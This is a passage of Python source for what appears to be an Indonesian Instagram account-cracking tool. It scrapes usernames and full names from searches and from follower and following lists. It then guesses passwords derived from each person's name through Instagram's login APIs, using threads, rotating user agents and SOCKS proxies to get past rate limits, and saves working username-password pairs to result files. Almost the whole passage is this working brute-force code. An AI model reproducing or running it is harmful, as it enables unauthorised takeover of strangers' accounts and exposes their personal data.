consumption_universe,ig_android_experimental_filters,ig_android_search_client_matching_2,ig_android_react_native_inline_insights_v2,ig_android_business_conversion_value_prop_v2,ig_android_redirect_to_low_latency_universe,ig_android_ad_show_new_awr_universe,ig_family_bridges_holdout_universe,ig_android_background_explore_fetch,ig_android_following_follower_social_context,ig_android_video_keep_screen_on,ig_android_ad_leadgen_relay_modern,ig_android_profile_photo_as_media,ig_android_insta_video_consumption_infra,ig_android_ad_watchlead_universe,ig_android_direct_prefetch_direct_story_json,ig_android_shopping_react_native,ig_android_top_live_profile_pics_universe,ig_android_direct_phone_number_links,ig_android_stories_weblink_creation,ig_android_direct_search_new_thread_universe,ig_android_histogram_reporter,ig_android_direct_on_profile_universe,ig_android_network_cancellation,ig_android_background_reel_fetch,ig_android_react_native_insights,ig_android_insta_video_audio_encoder,ig_android_family_bridge_bookmarks,ig_android_data_usage_network_layer,ig_android_universal_instagram_deep_links,ig_android_dash_for_vod_universe,ig_android_modular_tab_discover_people_redesign,ig_android_mas_sticker_upsell_dialog_universe,ig_android_ad_add_per_event_counter_to_logging_event,ig_android_sticky_header_top_chrome_optimization,ig_android_rtl,ig_android_biz_conversion_page_pre_select,ig_android_promote_from_profile_button,ig_android_live_broadcaster_invite_universe,ig_android_share_spinner,ig_android_text_action,ig_android_own_reel_title_universe,ig_promotions_unit_in_insights_landing_page,ig_android_business_settings_header_univ,ig_android_save_longpress_tooltip,ig_android_constrain_image_size_universe,ig_android_business_new_graphql_endpoint_universe,ig_ranking_following,ig_android_stories_profile_camera_entry_point,ig_android_universe_reel_video_production,ig_android_power_metrics,ig_android_sfplt,ig_android_offline_hashtag_feed,ig_android_live_skin_smooth,ig_android_direct_inbox_search,ig_android_stories_posting_offline_ui,ig_android_sidecar_video_upload_universe,ig_android_promotion_manager_entry_point_universe,ig_android_direct_reply_audience_upgrade,ig_android_swipe_navigation_x_angle_universe,ig_android_offline_mode_holdout,ig_android_live_send_user_location,ig_android_direct_fetch_before_push_notif,ig_android_non_square_first,ig_android_insta_video_drawing,ig_android_swipeablefilters_universe,ig_android_live_notification_control_universe,ig_android_analytics_logger_running_background_universe,ig_android_save_all,ig_android_reel_viewer_data_buffer_size,ig_direct_quality_holdout_universe,ig_android_family_bridge_discover,ig_android_react_native_restart_after_error_universe,ig_android_startup_manager,ig_story_tray_peek_content_universe,ig_android_profile,ig_android_high_res_upload_2,ig_android_http_service_same_thread,ig_android_scroll_to_dismiss_keyboard,ig_android_remove_followers_universe,ig_android_skip_video_render,ig_android_story_timestamps,ig_android_live_viewer_comment_prompt_universe,ig_profile_holdout_universe,ig_android_react_native_insights_grid_view,ig_stories_selfie_sticker,ig_android_stories_reply_composer_redesign,ig_android_streamline_page_creation,ig_explore_netego,ig_android_ig4b_connect_fb_button_universe,ig_android_feed_util_rect_optimization,ig_android_rendering_controls,ig_android_os_version_blocking,ig_android_encoder_width_safe_multiple_16,ig_search_new_bootstrap_holdout_universe,ig_android_snippets_profile_nux,ig_android_e2e_optimization_universe,ig_android_comments_logging_universe,ig_shopping_insights,ig_android_save_collections,ig_android_live_see_fewer_videos_like_this_universe,ig_android_show_new_contact_import_dialog,ig_android_live_view_profile_from_comments_universe,ig_fbns_blocked,ig_formats_and_feedbacks_holdout_universe,ig_android_reduce_view_pager_buffer,ig_android_instavideo_periodic_notif,ig_search_user_auto_complete_cache_sync_ttl,ig_android_marauder_update_frequency,ig_android_suggest_password_reset_on_oneclick_login,ig_android_promotion_entry_from_ads_manager_universe,ig_android_live_special_codec_size_list,ig_android_enable_share_to_messenger,ig_android_background_main_feed_fetch,ig_android_live_video_reactions_creation_universe,ig_android_channels_home,ig_android_sidecar_gallery_universe,ig_android_upload_reliability_universe,ig_migrate_mediav2_universe,ig_android_insta_video_broadcaster_infra_perf,ig_android_business_conversion_social_context,android_ig_fbns_kill_switch,ig_android_live_webrtc_livewith_consumption,ig_android_destroy_swipe_fragment,ig_android_react_native_universe_kill_switch,ig_android_stories_book_universe,ig_android_all_videoplayback_persisting_sound,ig_android_draw_eraser_universe,ig_direct_search_new_bootstrap_holdout_universe,ig_android_cache_layer_bytes_threshold,ig_android_search_hash_tag_and_username_universe,ig_android_business_promotion,ig_android_direct_search_recipients_controller_universe,ig_android_ad_show_full_name_universe,ig_android_anrwatchdog,ig_android_qp_kill_switch,ig_android_2fac,ig_direct_bypass_group_size_limit_universe,ig_android_promote_simplified_flow,ig_android_share_to_whatsapp,ig_android_hide_bottom_nav_bar_on_discover_people,ig_fbns_dump_ids,ig_android_hands_free_before_reverse,ig_android_skywalker_live_event_start_end,ig_android_live_join_comment_ui_change,ig_android_direct_search_story_recipients_universe,ig_android_direct_full_size_gallery_upload,ig_android_ad_browser_gesture_control,ig_channel_server_experiments,ig_android_video_cover_frame_from_original_as_fallback,ig_android_ad_watchinstall_universe,ig_android_ad_viewability_logging_universe,ig_android_new_optic,ig_android_direct_visual_replies,ig_android_stories_search_reel_mentions_universe,ig_android_threaded_comments_universe,ig_android_mark_reel_seen_on_Swipe_forward,ig_internal_ui_for_lazy_loaded_modules_experiment,ig_fbns_shared,ig_android_capture_slowmo_mode,ig_android_live_viewers_list_search_bar,ig_android_video_single_surface,ig_android_offline_reel_feed,ig_android_video_download_logging,ig_android_last_edits,ig_android_exoplayer_4142,ig_android_post_live_viewer_count_privacy_universe,ig_android_activity_feed_click_state,ig_android_snippets_haptic_feedback,ig_android_gl_drawing_marks_after_undo_backing,ig_android_mark_seen_state_on_viewed_impression,ig_android_live_backgrounded_reminder_universe,ig_android_live_hide_viewer_nux_universe,ig_android_live_monotonic_pts,ig_android_search_top_search_surface_universe,ig_android_user_detail_endpoint,ig_android_location_media_count_exp_ig,ig_android_comment_tweaks_universe,ig_android_ad_watchmore_entry_point_universe,ig_android_top_live_notification_universe,ig_android_add_to_last_post,ig_save_insights,ig_android_live_enhanced_end_screen_universe,ig_android_ad_add_counter_to_logging_event,ig_android_blue_token_conversion_universe,ig_android_exoplayer_settings,ig_android_progressive_jpeg,ig_android_offline_story_stickers,ig_android_gqls_typing_indicator,ig_android_chaining_button_tooltip,ig_android_video_prefetch_for_connectivity_type,ig_android_use_exo_cache_for_progressive,ig_android_samsung_app_badging,ig_android_ad_holdout_watchandmore_universe,ig_android_offline_commenting,ig_direct_stories_recipient_picker_button,ig_insights_feedback_channel_universe,ig_android_insta_video_abr_resize,ig_android_insta_video_sound_always_on'''
SIG_KEY_VERSION = '4'
def __init__(self,username,password):
self.username=username
self.password=password
m = hashlib.md5()
m.update(username.encode('utf-8') + password.encode('utf-8'))
self.device_id = self.generateDeviceId(m.hexdigest())
self.uuid = self.generateUUID(True)
self.s = requests.Session()
def generateDeviceId(self, seed):
volatile_seed = "12345"
m = hashlib.md5()
m.update(seed.encode('utf-8') + volatile_seed.encode('utf-8'))
return 'android-' + m.hexdigest()[:16]
def generateUUID(self, type):
generated_uuid = str(uuid.uuid4())
if (type):
return generated_uuid
else:
return generated_uuid.replace('-', '')
def loginAPI(self):
token=self.s.get("https://www.instagram.com/",headers={"user-agent":User_Agent()}).text
crf_token=re.findall(r"\"csrf_token\"\:\"(.*?)\"", str(token))[0]
self.s.headers.update({'Connection': 'close',
'Accept': '*/*',
'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Cookie2': '$Version=1',
'Accept-Language': 'en-US',
'User-Agent': user_agentAPI()})
self.data = json.dumps({
'phone_id': self.generateUUID(True),
'_csrftoken': crf_token,
'username': self.username,
'guid': self.uuid,
'device_id': self.device_id,
'password': self.password,
'login_attempt_count': '0'})
self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
self.generateUUID(False),
urllib.request.quote(self.data)
)
x=self.s.post("https://i.instagram.com/api/v1/accounts/login/", self.payload)
x_jason=json.loads(x.text)
x_kukis=x.cookies.get_dict()
if "logged_in_user" in x.text:
kuki=";".join([v+"="+x_kukis[v] for v in x_kukis])
#id=x_jason['logged_in_user']['pk']
#nm=x_jason['logged_in_user']['full_name']
#pn=x_jason['logged_in_user']['phone_number']
return {'status':'success','cookie':kuki,'userame':self.username}
elif 'challenge_required' in x.text:
return {'status':'checkpoint'}
else:
return {'status':'login_error'}
C = ''
class instagram:
def __init__(self,external,username,cookie):
self.ext=external
self.username=username
self.cookie=cookie
self.s=requests.Session()
self.tol = Console()
def logo(self):
for i in external:
try:
nama=i.split('|')[0]
followers=i.split('|')[1]
following=i.split('|')[2]
except:
pass
banner()
self.mentod()
prints(Panel(f"{H2}{IP}",title=f"{P2}IP",subtitle=f"{P2}{CN}",width=80,padding=(0,30),style=f"#FFFFFF"))
prints(Panel(f"{P2}[{R2}01{P2}]. crack id dari pencarian nama {P2}[{R2}05{P2}]. cek hasil crack\n{P2}[{R2}02{P2}]. crack id dari pengikut {P2}[{R2}06{P2}]. bot auto unfollow\n{P2}[{R2}03{P2}]. crack id dari mengikuti {P2}[{R2}07{P2}]. remove lisensi\n{P2}[{R2}04{P2}]. crack ulang hasil cp {P2}[{R2}00{P2}]. keluar ({M2} hapus cookie {P2})",title=f"{M2}• {K2}• {H2}•{P2} MENU {H2}• {K2}• {M2}•",width=80,padding=(0,4),style=f"#FFFFFF"))
def mentod(self):
for i in external:
nama=i.split('|')[0]
followers=i.split('|')[1]
following=i.split('|')[2]
try:
ses=requests.Session()
lisen=open('data/lisensi.txt','r').read()
met = ses.get('https://app.cryptolens.io/api/key/Activate?token=WyIyODcxODY3OSIsIlkwRHVlQXhTWVRFcHIwQnF1Q1kyYzd6aUIzcDQ1OGxFdk84UTBqd1ciXQ==&ProductId=17483&Key='+lisen).json()
men = met['licenseKey']
key = men['key'][0:11]
tahun = men['expires'][0:4]
buln = men['expires'][5:7]
tanggal = men['expires'][8:10]
bulan=bulan_ttl[buln]
tahun1 = men['created'][0:4]
buln1 = men['created'][5:7]
tanggal1 = men['created'][8:10]
bulan1=bulan_ttl[buln1]
except:
key = "-"
tanggal = "-"
bulan = "-"
tahun = "-"
tanggal1 = "-"
bulan1 = "-"
tahun1 = "-"
pornhub = []
pornhub.append(Panel(f"{P2}nama : {H2}{nama}\n{P2}username : {H2}{self.username}\n{P2}pengikut : {H2}{followers}\n{P2}mengikuti : {H2}{following}",title=f"{M2}• {K2}• {H2}•{P2} DATA AKUN {H2}• {K2}• {M2}•",width=39,padding=(0,2),style=f"#FFFFFF"))
pornhub.append(Panel(f"{P2}lisensi : {H2}{key}-****-****\n{P2}join : {H2}{tanggal1} {bulan1} {tahun1}\n{P2}expired : {H2}{tanggal} {bulan} {tahun}\n{P2}premium : {H2}Ya",title=f"{M2}• {K2}• {H2}•{P2} DATA LISENSI {H2}• {K2}• {M2}•",width=39,padding=(0,2),style=f"#FFFFFF"))
self.tol.print(Columns(pornhub))
def HapusLisen(self):
try:
xc = input(f"{P}[{B}?{P}] apakah anda yakin ingin menghapus lisensi? : {H}")
if xc in ["y","Y"]:
os.remove("data/lisensi.txt")
jalan(f"{P}[{H}✓{P}] berhasil menghapus lisensi")
exit()
elif xc in ["t","T"]:
jalan(f"{P}[{B}+{P}] kembali ke menu utama")
time.sleep(2)
self.menu()
else:
self.Exit()
except:pass
def Exit(self):
try:
prints(Panel(f"{R2}{open('data/cookie.txt','r').read()}",title=f"{M2}• {K2}• {H2}•{P2} COOKIE ANDA {H2}• {K2}• {M2}•",padding=(0,2),style=f"#FFFFFF"))
xd = input(f'{P}[{B}?{P}] apakah anda yakin ingin keluar? : {H}')
if xd in ["y","Y"]:
RemoveCookie()
jalan(f"{P}[{H}✓{P}] berhasil menghapus cookie")
exit()
elif xd in ["t","T"]:
jalan(f"{P}[{B}+{P}] kembali ke menu utama")
time.sleep(2)
self.menu()
else:
self.Exit()
except:pass
def sixAPI(self,six_id):
url = "https://www.instagram.com/web/search/topsearch/?context=blended&query="+six_id+"&rank_token=0.3953592318270893&count=1"
x = requests.get(url)
x_jason = x.json()
uid = str( x_jason['users'][0].get("user").get("pk") )
return uid
def unfollowAPI(self,user_id,username_id,cookie):
uuid=generateUUID(True)
xx=self.s.get("https://www.instagram.com/",headers={"user-agent":USN}).content
crf_token = re.findall('{"config":{"csrf_token":"(.*)","viewer"',str(xx))[0]
s.headers.update({'Connection': 'close',
'Accept': '*/*',
'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Cookie2': '$Version=1',
'Accept-Language': 'en-US',
'User-Agent': USN})
data = json.dumps({'_uuid': uuid,
'_uid': username_id,
'user_id': user_id,
'_csrftoken': crf_token})
self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
self.generateUUID(False),
urllib.request.quote(data))
return s.post('https://i.instagram.com/api/v1/friendships/destroy/%s/'%(user_id),self.payload,cookies=cookie).text
def searchAPI(self,cookie,nama):
try:
for ba in range(100):
x=s.get('https://www.instagram.com/web/search/topsearch/?count=100000&context=blended&query=%s&rank_token=0.21663777590422106&include_reel=true'%(nama),cookies=cookie,headers={"user-agent":USN})
x_jason=json.loads(x.text)
try:
for i in x_jason['users']:
user=i['user']
username=user['username']
fullname=user['full_name']
internal.append(f'{username}|{fullname}')
wr = random.choice(['\x1b[1;91m', '\x1b[1;92m', '\x1b[1;93m', '\x1b[1;94m', '\x1b[1;95m', '\x1b[1;96m', '\x1b[1;97m', '\x1b[0m'])
sys.stdout.write(f"\r{P}[{B}*{P}] sedang mengumpulkan {wr}{len(internal)} {P}id..."),sys.stdout.flush()
time.sleep(0.0001)
except:
if 'challenge' in x.text:
break
else:
continue
print("\r")
except Exception as e:print(e)
return internal
def ua_ig(self):
rr = random.randint
return (f"Mozilla/5.0 (Linux; Android {str(rr(7,12))}.{str(rr(7,12))}; Redmi Note {str(rr(7,12))}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(80,105))}.0.{str(rr(1111,4444))}.{str(rr(111,400))} Mobile Safari/537.36 Instagram 84.0.0.21.105 Android (24/7.0; 380dpi; 1080x1920; OnePlus; ONEPLUS A3010; OnePlus3T; qcom; en_US; 145652094)")
def idAPI(self,cookie,id):
if 'sukses' in lisensiku:
try:
m=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(id),cookies=cookie,headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
m_jason=m.json()["data"]["user"]
idx=m_jason["id"]
except requests.exceptions.ConnectionError:
print(f'{P}[{M}!{P}] koneksi internet anda bermasalah');exit()
except requests.exceptions.ConnectionError:
print(f'{P}[{M}!{P}] koneksi internet anda bermasalah')
time.sleep(0.3)
exit()
except Exception as e:
print(f'{P}[{M}!{P}] username tidak tersedia')
exit()
return idx
else:lisensi()
def infoAPI(self,cookie,api,id):
if 'sukses' in lisensiku:
try:
x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
x_jason=json.loads(x.text)
for i in x_jason['users']:
username = i["username"]
nama = i["full_name"]
internal.append(f'{username}|{nama}')
following.append(username)
if 'pengikut' in menudump:
maxid=x_jason['next_max_id']
for z in range (9999):
x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/followers/?count=100&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
x_jason=json.loads(x.text)
try:
for i in x_jason['users']:
username = i["username"]
nama = i["full_name"]
internal.append(f'{username}|{nama}')
following.append(username)
wr = random.choice(['\x1b[1;91m', '\x1b[1;92m', '\x1b[1;93m', '\x1b[1;94m', '\x1b[1;95m', '\x1b[1;96m', '\x1b[1;97m', '\x1b[0m'])
sys.stdout.write(f"\r{P}[{B}*{P}] sedang mengumpulkan {wr}{len(internal)} {P}id...{P}"),sys.stdout.flush()
time.sleep(0.0001)
try:
maxid=x_jason['next_max_id']
except:
break
except:
if 'challenge' in x.text:
break
else:
continue
print("\r")
except Exception as e:
print(f'{P}[{M}!{P}] username tidak tersedia')
return internal
else:lisensi()
def ifoAPI(self,cookie,api,id):
if 'sukses' in lisensiku:
try:
x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
x_jason=json.loads(x.text)
for i in x_jason['users']:
username = i["username"]
nama = i["full_name"]
internal.append(f'{username}|{nama}')
following.append(username)
if 'mengikuti' in menudump:
maxid=x_jason['next_max_id']
for z in range (9999):
x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/following/?count=100&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
x_jason=json.loads(x.text)
try:
for i in x_jason['users']:
username = i["username"]
nama = i["full_name"]
internal.append(f'{username}|{nama}')
following.append(username)
wr = random.choice(['\x1b[1;91m', '\x1b[1;92m', '\x1b[1;93m', '\x1b[1;94m', '\x1b[1;95m', '\x1b[1;96m', '\x1b[1;97m', '\x1b[0m'])
sys.stdout.write(f"\r{P}[{B}*{P}] sedang mengumpulkan {wr}{len(internal)} {P}id..."),sys.stdout.flush()
time.sleep(0.0001)
try:
maxid=x_jason['next_max_id']
except:
break
except:
if 'challenge' in x.text:
break
else:
continue
print("\r")
except Exception as e:
print(f'{P}[{M}!{P}] username tidak tersedia')
return internal
else:lisensi()
def InfoAPI_KU(self, coki):
with requests.Session() as ses:
try:
link = ses.get(f"https://i.instagram.com/api/v1/accounts/edit/web_form_data/", headers={"user-agent":USN},cookies={"cookie":coki}).json()["form_data"]
nomor = link["phone_number"].replace("-", "").replace(" ", "")
tggl = link["birthday"]
year, month, day = tggl.split("-")
month = bulan_ttl[month]
tanggal = (f"{day} {month} {year}")
except:
nomor = "-"
tanggal = "-"
return nomor, tanggal
def ingfo(self,cookie):
try:
link = s.get(f"https://z-p42.www.instagram.com/api/v1/accounts/edit/web_form_data/", headers={"user-agent":USN},cookies={"cookie":cookie}).json()["form_data"]
nomor = link["phone_number"].replace("-", "").replace(" ", "")
tggl = link["birthday"]
year, month, day = tggl.split("-")
month = bulan_ttl[month]
tanggal = (f"{day} {month} {year}")
except:
nomor = "-"
tanggal = "-"
return nomor, tanggal
def AdityaCreate(self, cookie):
with requests.Session() as ses:
try:
b = ses.get("https://www.instagram.com/accounts/access_tool/", cookies={"cookie":cookie})
soup = parser(b.text,'html.parser')
body = soup.find("body")
script = body.find("script", text=lambda t: t.startswith("window._sharedData"))
script_json = script.string.split(" = ", 1)[1].rstrip(";")
script_json = json.loads(script_json)
i = script_json["entry_data"]['SettingsPages']
regax = re.findall('\d+',str(i))
tahun = datetime.fromtimestamp(int(regax[0])).strftime('%d %B %Y')
except:
tahun = "-"
return tahun
def ingfo(self):
urut = []
prints(Panel(f"{P2}[ {H2}hasil crack akan di simpan di dalam folder results {P2}]",width=80,padding=(0,11),style=f"#FFFFFF"))
urut.append(Panel(f"{P2}result {H2}OK-{day}.txt",width=39,padding=(0,5),style=f"#FFFFFF"))
urut.append(Panel(f"{P2}result {K2}CP-{day}.txt[/]",width=39,padding=(0,5),style=f"#FFFFFF"))
self.tol.print(Columns(urut))
prints(Panel(f"{H2}craking sedang di mulai, ketik ctrl+z di keyboard anda untuk berhenti\n\n{N2} hidupkan mode pesawat 5 detik jika terdeteksi adanya spam ip",width=80,padding=(0,3),style=f"#FFFFFF"))
def methodku(self):
urut = []
urut.append(Panel(f"{P2}[{R2}01{P2}]. methode API {H2}recommended{P2}",width=39,padding=(0,4),style=f"#FFFFFF"))
urut.append(Panel(f"{P2}[{R2}02{P2}]. methode AJAX {K2}very slow",width=39,padding=(0,1),style=f"#FFFFFF"))
self.tol.print(Columns(urut))
def passwordAPI(self,xnx):
prints(Panel(f"{P2}total username terkumpul : {R2}{len(internal)}",width=80,padding=(0,20),style=f"#FFFFFF"))
self.methodku()
u = input(f'{P}[{B}?{P}] pilih method : {H}')
if u in ["1","01"]:
method.append('satu')
elif u in ["2","02"]:
method.append('dua')
else:
method.append('satu')
prints(Panel(f"{P2}[{R2}01{P2}]. nama, nama123, nama1234\n{P2}[{R2}02{P2}]. nama, nama123, nama1234, nama12345\n{P2}[{R2}03{P2}]. nama, nama123, nama1234, nama12345, nama123456\n{P2}[{R2}04{P2}]. nama, nama123, nama1234, manual",title=f"{M2}• {K2}• {H2}•{P2} PASSWORD {H2}• {K2}• {M2}•",width=80,padding=(0,4),style=f"#FFFFFF"))
c=input(f'{P}[{B}?{P}] pilih password : {H}')
if c in ["01","1"]:
self.generateAPI(xnx,c)
elif c in ["2","02"]:
self.generateAPI(xnx,c)
elif c in ["3","03"]:
self.generateAPI(xnx,c)
elif c in ["4","04"]:
prints(Panel(f"{P2}gunakan tanda koma ({R2},{P2}) untuk pemisahan contoh sayang, sayang123, kontol",width=80,padding=(0,3),style=f"#FFFFFF"))
zx=input(f'{P}[{B}?{P}] masukan password : {H}')
self.generateAPI(xnx,c,zx)
else:
self.passwordAPI(xnx)
def generateAPI(self,user,o,zx=''):
self.ingfo()
with ThreadPoolExecutor(max_workers=15) as adtyaxc:
for i in user:
try:
username=i.split("|")[0]
password=i.split("|")[1].lower()
for w in password.split(" "):
if len(w)<3:
continue
else:
w=w.lower()
if o=="1":
if len(w)==3 or len(w)==4 or len(w)==5:
sandi=[w,w+'123',w+'1234']
else:
sandi=[w,w+'123',w+'1234']
elif o=="2":
if len(w)==3 or len(w)==4 or len(w)==5:
sandi=[w,w+'123',w+'1234',password.lower()]
else:
sandi=[w+'123',w,w+'1234',password.lower()]
elif o=="3":
if len(w)==3 or len(w)==4 or len(w)==5:
sandi=[w,w+'123',w+'1234',w+'321',w+'12345',w+'123456',password.lower()]
else:
sandi=[w,w+'123',w+'1234',w+'321',w+'12345',w+'123456',password.lower()]
elif o=="4":
if len(w)==3 or len(w)==4 or len(w)==5:
sandi = zx.replace(" ", "").split(",")
else:
sandi = zx.replace(" ", "").split(",")
if 'satu' in method:
adtyaxc.submit(self.crackAPI,username,sandi)
elif 'dua' in method:
adtyaxc.submit(self.crackerAPI,username,sandi)
else:
adtyaxc.submit(self.crackAPI,username,sandi)
except:
pass
print('\n')
prints(Panel(f" {P2}crack {R2}{len(internal)} {P2}username selesai hasil Ok : {H2}{len(success)}{P2} Hasil Cp : {K2}{len(checkpoint)}{P2} ",width=80,padding=(0,8),style=f"#FFFFFF"))
exit()
def APIinfo(self,user):
try:
x=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
x_jason=x.json()["data"]["user"]
nama=x_jason["full_name"]
pengikut=x_jason["edge_followed_by"]["count"]
mengikut=x_jason["edge_follow"]["count"]
postingan=x_jason["edge_owner_to_timeline_media"]["count"]
except:
nama = "-"
pengikut = "-"
mengikut = "-"
postingan = "-"
return nama,pengikut,mengikut,postingan
def crackAPI(self,user,pas):
global loop,success,checkpoint
ses = requests.Session()
logtemp=0
guid = str(uuid.uuid4())
ponid=str(uuid.uuid4())
andro="android-%s" % hashlib.md5(str(time.time()).encode()).hexdigest()[:16]
ig_sig=HARIS["ig_sig"]
verig=HARIS["IGV"]
igver=verig.split(",")
igv=random.choice(igver)
gedz=HARIS1["AOREC"][random.randrange(0,277)]["aorec"]
ven1=gedz.split('|')[1]
ven2=gedz.split('|')[2]
giu1=HARIS["giu"]
giu=giu1.split("||")
ua=f'{giu[0]} {igv} {giu[1]} {ven1}; {ven2}; {giu[2]}'
dat=HARIS["sinkz"]
dat.update({"id": guid})
data1=json.dumps(dat)
ned=hmac.new(ig_sig.encode('utf-8'), str(data1).encode('utf=8'),hashlib.sha256).hexdigest()
data2=HARIS["sinkz1"]
data2.update({'signed_body': f'{ned}.{str(data1)}'})
head=HARIS["headaing"]
head.update({"user-agent": ua})
while True:
try:
p=ses.post(HARIS["sinkz2"],headers=head,data=data2)
break
except:pass
sys.stdout.write(f'\r{P}[{H}#{P}] {H}[DMC] {P}{loop}/{len(internal)}{P} OK-:{H}{len(success)} {N}CP-:{K}{len(checkpoint)} {P}');sys.stdout.flush()
for pw in pas:
try:
data=json.dumps({"phone_id":ponid,"_csrftoken": ses.cookies["csrftoken"],"username":user,"guid":guid,"device_id":andro,"password": pw,"login_attempt_count": str(logtemp)})
ned=hmac.new(ig_sig.encode('utf-8'), str(data).encode('utf=8'),hashlib.sha256).hexdigest()
head2=HARIS["headaing1"]
head2.update({"user-agent": ua})
pasw=pw.replace(' ','+')
sianjing=HARIS["sianjing"]
setan=sianjing.split("||")
dataa=f'{setan[0]}{ned}{setan[1]}{ponid}{setan[2]}{ses.cookies["csrftoken"]}{setan[3]}{user}{setan[4]}{guid}{setan[5]}{andro}{setan[6]}{pw}{setan[7]}{logtemp}{setan[8]}'
respon=ses.post(HARIS["crack"],headers=head2,data=dataa)
kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
try:
xyaaXD=json.loads(respon.text)
except:
xyaaXD=(respon.text)
logtemp+=1
if "logged_in_user" in str(xyaaXD) or "sessionid" in ses.cookies.get_dict():
success.append(user)
try:
nama,pengikut,mengikut,postingan=self.APIinfo(user)
print("\r ")
adit=f'\rNama : {nama}\nUsername : {user}\nPassword : {pw}\nPengikut : {pengikut}\nMengikuti : {mengikut}\nPostingan : {postingan}\nUser-Agent: {user_agentAPI()}'
pepekXD = nel(adit, style='green')
print('\n')
cetak(nel(pepekXD,style='',title='\r[green]JEWEL OK [white]'))
open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
open('.logCrack','a').write(f'{H}╭({H}{loop}{H}) {H}{user} {H}|| {H}{pw}\n{H}╰{H}{respon.text}\n')
break
except:
print("\r ")
adit=f'\rNama : {nama}\nUsername : {user}\nPassword : {pw}\nPengikut : {pengikut}\nMengikuti : {mengikut}\nPostingan : {postingan}\nUser-Agent: {user_agentAPI()}'
pepekXD = nel(adit, style='green')
print('\n')
cetak(nel(pepekXD,style='',title='\r[green]JEWEL OK [white]'))
open(f"result/success-{day}.txt","a").write(f'{user}|{pw}\n')
open('.logCrack','a').write(f'{H}╭({H}{loop}{H}) {H}{user} {H}|| {H}{pw}\n{H}╰{H}{respon.text}\n')
break
elif 'https://i.instagram.com/challenge' in str(respon.text):
nama,pengikut,mengikut,postingan=self.APIinfo(user)
print("\r ")
adit=f'\rNama : {nama}\nUsername : {user}\nPassword : {pw}\nPengikut : {pengikut}\nMengikuti : {mengikut}\nPostingan : {postingan}\nUser-agent: {user_agentAPI()}'
pepekXD = nel(adit, style='yellow')
print('\n')
cetak(nel(pepekXD,style='', title='\r[yellow]JEWEL CP [white]'))
open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
checkpoint.append(user)
open('.logCrack','a').write(f'{K}╭({K}{loop}{K}) {K}{user} {K}|| {K}{pw}\n{K}╰{K}{respon.text}\n')
break
elif 'ip_block' in str(respon.text) or 'spam' in str(respon.text):
sys.stdout.write(f'\r{P}[{M}#{P}] crack {M}spamIP {P}{loop}/{len(internal)}{P} OK-:{H}{len(success)} {N}CP-:{K}{len(checkpoint)} {P}');sys.stdout.flush()
time.sleep(5)
open('.logCrack','a').write(f'{M}╭({loop}) {user} || {pw}\n╰{respon.text}\n{N}\n')
self.crackAPI(user,pas)
loop-=1
break
except requests.exceptions.ConnectionError:
time.sleep(5)
self.crackAPI(user,pas)
loop-=1
break
except Exception as e:
pass
open('.logCrack','a').write(f'{N}╭({loop}) {user} || {pw}\n╰{respon.text}\n{N}\n')
loop+=1
def crackerAPI(self,user,pas,awal):
global loop,success,checkpoint
ses = requests.Session()
ua = random.choice(baru)
sys.stdout.write(f'\r{H}[DMC] {N}{loop}/{len(internal)} OK-:{H}{len(success)} {N}CP-:{K}{len(checkpoint)} {P}');sys.stdout.flush()
try:
for pw in pas:
xyaaXD=random.randint(1000000000, 99999999999)
ts = calendar.timegm(current_GMT)
proxy = {'http': 'socks5://'+random.choice(prox)}
token=s.get('https://z-p4.www.instagram.com/accounts/login/?force_classic_login&hl=en')
headers = {
'Host': 'www.instagram.com',
'content-length': '327',
'sec-ch-ua': '"Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="24"',
'x-ig-app-id': '1217981644879628',
'x-ig-www-claim': '0',
'sec-ch-ua-mobile': '?1',
'x-instagram-ajax': '1006631170',
'user-agent': self.UserAgent(),
'viewport-width': '360',
'content-type': 'application/x-www-form-urlencoded',
'accept': '*/*',
'x-requested-with': 'XMLHttpRequest',
'x-asbd-id': '198387',
'x-csrftoken': open('data/csrftoken.txt','r').read(),
'sec-ch-prefers-color-scheme': 'light',
'sec-ch-ua-platform': '"Android"',
'origin': 'https://www.instagram.com',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'cors',
'sec-fetch-dest': 'empty',
'referer': 'ttps://www.instagram.com/',
'accept-encoding': 'gzip, deflate, br',
'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,ru;q=0.6,jv;q=0.5'
}
param={
"enc_password": "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(random.randint(1000000000, 99999999999),pw),
"username": user,
"optIntoOneTap": False,
"queryParams": {},
"stopDeletionNonce": "",
"trustedDeviceRecords": {}}
respon=ses.post("https://z-p42.www.instagram.com/accounts/login/ajax/", headers=headers, data=param, allow_redirects=True, proxies=proxy)
try:
xyaaXD=json.loads(respon.text)
except:
pass
if "userId" in str(xyaaXD) or "sessionid" in ses.cookies.get_dict():
success.append(user)
try:
nama,pengikut,mengikut,postingan=self.APIinfo(user)
print("")
prints(Panel(f'\r{P2}[{H2}✓{P2}] Nama : {H2}{nama} \n{P2}[{H2}✓{P2}] Username : {H2}{user} \n{P2}[{H2}✓{P2}] Password : {H2}{pw} \n{P2}[{H2}✓{P2}] Pengikut : {H2}{pengikut} \n{P2}[{H2}✓{P2}] Mengikuti : {H2}{mengikut} \n{P2}[{H2}✓{P2}] Postingan : {H2}{postingan}',title=f"{H2}LIVE",width=80,padding=(0,4),style=f"{H2}"))
print("")
open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
break
except:
